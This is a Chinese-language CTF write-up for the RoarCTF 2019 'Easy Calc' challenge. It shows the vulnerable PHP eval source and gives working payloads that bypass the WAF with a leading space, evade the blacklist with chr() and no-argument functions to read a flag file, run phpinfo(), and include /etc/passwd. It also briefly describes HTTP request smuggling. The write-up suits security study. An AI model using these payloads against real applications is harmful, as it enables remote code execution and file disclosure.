[RoarCTF 2019]Easy Calc1 wp

2023-12-15 12:31:59

[RoarCTF 2019]Easy Calc1 wp

预测试
手工测试

在这里插入图片描述

这个页面实现了一个简单的计算器功能,当输入 1+1 时能正确返回执行结果 2,

但当输入 1+1&&ifconfig 之类的表达式时,会出现弹窗:

在这里插入图片描述

查看源码

在这里插入图片描述

前端页面调用了一个函数,对用户输入做了一个简单的处理。该页面提示使用了 waf ,并且可以发现有一个 calc.php 文件,并且可以通过 get 传参,参数是 num 。

访问 calc.php 页面
<?php 
error_reporting(0); 
if(!isset($_GET['num'])){   
	show_source(__FILE__); 
}else{     
	$str = $_GET['num'];     
	$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];     
	foreach ($blacklist as $blackitem) {         
		if (preg_match('/' . $blackitem . '/m', $str)) {             
			die("what are you want to do?");         
		}     
	}     
	eval('echo '.$str.';'); 
} 
?> 

直接给出了 php 源码。

首先,代码通过 error_reporting(0) 关闭所有错误和警告的输出。

然后,代码判断是否存在 GET 参数 num 。如果 num 不存在,则显示当前脚本的源代码,即显示自身的代码。

如果 num 存在,则将获取到的值赋给变量 $str 。接下来,代码定义一个黑名单数组 $blacklist ,包含了一些需要过滤的特殊字符和字符串。

然后,代码使用 foreach 循环遍历黑名单数组 $blacklist 。在每次循环中,代码使用 preg_match() 函数对 $str 进行匹配,判断是否包含黑名单中的任何一个特殊字符或字符串。如果匹配成功,即 $str 中包含黑名单中的特殊字符或字符串,代码会输出 " what are you want to do? " 并终止脚本的执行。

如果没有匹配到任何黑名单字符,代码会使用 eval() 函数执行一个动态的 PHP 代码字符串,即将$str作为被执行的PHP代码。这段代码的作用是输出 $str 中的内容。

waf 绕过

尝试直接访问:node4.buuoj.cn:29780/calc.php?num=system('ls');,返回结果:

在这里插入图片描述

假设是被上面的 php 文件中的过滤机制过滤了,那么应该输出:what are you want to do? ,这句话才对,但是出现这种画面,应该是被防火墙拦截了。

空格绕过 waf

在 num 参数前加上一个空格,即:node4.buuoj.cn:29780/calc.php? num=system('ls');

返回结果:

在这里插入图片描述

这样服务器会认为传入的参数是 空格num ,而不是 num 。这里用到这种绕过方式是因为假定服务器只对 num 参数做检测,而对于其他参数不做检测。

空格num 参数传入到后端,被 PHP 代码处理时,会被去除多余空格及特殊字符:如空格、制表符、回车换行符以及某些特殊字符等。这样一来仍然是 num 参数了。

黑名单绕过

这里可以用到无参函数 RCE 的 payload

传入参数:calc.php? num=var_dump(scandir(current(localeconv())));

查看当前目录下的文件
  1. localeconv() 函数返回当前设置的地区的格式化信息,包括货币符号、小数点符号等。它返回一个数组,其中包含了与当前地区相关的格式化参数,该函数返回的第一个元素的值通常是小数点 “.” 。
  2. current() 函数用于获取数组中的当前元素的值。在这里,它用于获取 localeconv() 函数返回的数组的第一个元素的值,即一个小数点。
  3. scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(".") 表示获取当前目录下的文件列表。
  4. 最后使用 var_dump() 函数将该列表输出到页面上。

但其实这里可以更简单:

calc.php? num=var_dump(scandir(chr(46)));

46 是 “.” 的 ASCII 码值,返回结果:

在这里插入图片描述

因为可以有参数嘛。用 chr() 函数将数字变为字符。

同理查看根目录下的文件:calc.php? num=var_dump(scandir(chr(47)));

47 是 “/” 的 ASCII 码值,返回结果:

在这里插入图片描述

找到一个名为 f1agg 的文件。

查看 /f1agg 文件

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

file_get_contents() 函数把整个文件读入一个字符串中。

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

分别是 ‘/’ ‘f’ ‘1’ ‘a’ ‘g’ ‘g’ 的 ASCII 值转字符,‘.’ 用作字符串连接。每一个 chr() 函数返回的结果由于是字符,所以自带了一对引号,不需要额外再加。

返回结果:

在这里插入图片描述

新的思路 - url 溢出

此外,舍友提出了一种新思路:

查看 phpinfo()

? num=1;eval(end(pos(get_defined_vars())))&nss=phpinfo();

get_defined_vars():返回由所有已定义变量所组成的数组,会返回 _GET , _POST , _COOKIE , _FILES 全局变量的值,返回数组顺序为 get->post->cookie->files 。

current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回 $_GET 变量的数组值。

end() : 将内部指针指向数组中的最后一个元素,并输出。即新加入的参数 nss 。

最后由 eval() 函数执行,使得 get 方式的参数 nss 生效。

这样的话就可以再利用 nss 传参了,由于代码只对 num 参数的值做了过滤,因此 nss 参数理论上可以造成任意代码执行。

上面代码的返回结果为:

在这里插入图片描述

可以看到成功执行了 phpinfo()

在这里插入图片描述

在 disable_functions 处发现禁用的函数太多了,还是没有办法任意代码执行。不过 include 函数似乎没被禁用。

查看 /etc/passwd 文件

? num=1;eval(end(pos(get_defined_vars())))&nss=include("/etc/passwd");

输出结果:

在这里插入图片描述

有点意思。

http 请求走私

绕过 waf 的方式还有一种 - http 请求走私。

在这里插入图片描述

大致原理就是使用了两个 Content-Length 头,使得前端无法识别,直接将整个包完全发给了后端。但这样还是要接受后端的黑名单过滤,所以 num 传参还是不能为所欲为。

文章来源:https://blog.csdn.net/m0_73612768/article/details/135013881
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。